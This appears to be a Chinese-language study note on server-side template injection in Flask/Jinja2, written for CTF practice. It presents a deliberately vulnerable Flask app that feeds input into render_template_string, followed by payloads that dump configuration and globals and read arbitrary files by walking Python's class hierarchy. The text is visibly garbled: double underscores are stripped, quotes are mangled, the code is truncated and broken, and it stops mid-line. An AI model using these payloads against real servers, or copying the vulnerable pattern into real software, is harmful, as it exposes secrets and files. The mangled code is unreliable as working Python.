python flask ssti学习笔记
学ssti就像是对python原理的一层深入探索,入口很简单,就是用户输入未经过滤便被服务器模板渲染,将其当作变量解析替换,从而达到读取文件或者执行命令等目的
简单示范
漏洞代码:
#!/usr/bin/env python
-- coding:utf8 --
import hashlib
import logging
import urllib.parse#python2没有parse,去掉就好
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(name)
app.config.secret_key = “2333”
page_size = 60
@app.route(’/’)
def hello_world():
return ‘Hello World!’
@app.errorhandler(404)
def page_not_found(e):
template = ‘’’
{%% block body %%}
Oops! That page doesn't exist.
%s
if name == ‘main’:
app.run()
以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{
{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{
{}}包裹的内容当做变量解析替换。
简单验证
服务器将{ {}}的内容直接执行后返回了结果
直接返回出配置变量值,存在敏感信息
入门操作
爆全局变量
{
{self.dict}}
任意文件读取
ctf题目中大多数是需要读取flag或者读取其他源码的
接下来利用一些骚操作读取文件吧
python中,不用引入直接使用的内置函数称为 builtin 函数,例如我们通常用的open,chr,ord等等
builtin.open()
builtin.int()
builtin.chr()
#python一切皆对象,__class__方法可以获取当前对象(实例)的类
“”.class
<class ‘str’>
#class.mro 获取当前类对象的所有继承类(object类是python中最顶层的类。)
“”.class.mro
(<class ‘str’>, <class ‘object’>)
#object.subclasses() 返回object的子类,不加括号的话返回的是地址
“”.class.mro[-1].subclasses()
[<class ‘type’>, <class ‘weakref’>, <class ‘weakcallableproxy’>, <class ‘weakproxy’>, <class ‘int’>, <class ‘bytearray’>, <class ‘bytes’>, <class ‘list’>, <class ‘NoneType’>,…,]
利用关键字寻找与读文件有关的类
Python2
for i in ‘’.class.mro[-1].subclasses():
count += 1
if ‘file’ in repr(i):
print count, i
//40 <type ‘file’>
这不是我们很熟悉的file吗,直接用就好了
{
{’’.class.mro[-1].subclasses()40.read()}}
或者让我们更加深入一点
#__init__初始化类
‘’.class.mro[-1].init
<slot wrapper ‘init’ of ‘object’ objects>
#因为object类下面没有我们需要的东西,我们只能去它的子类找
#在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的
count = -1
for i in ().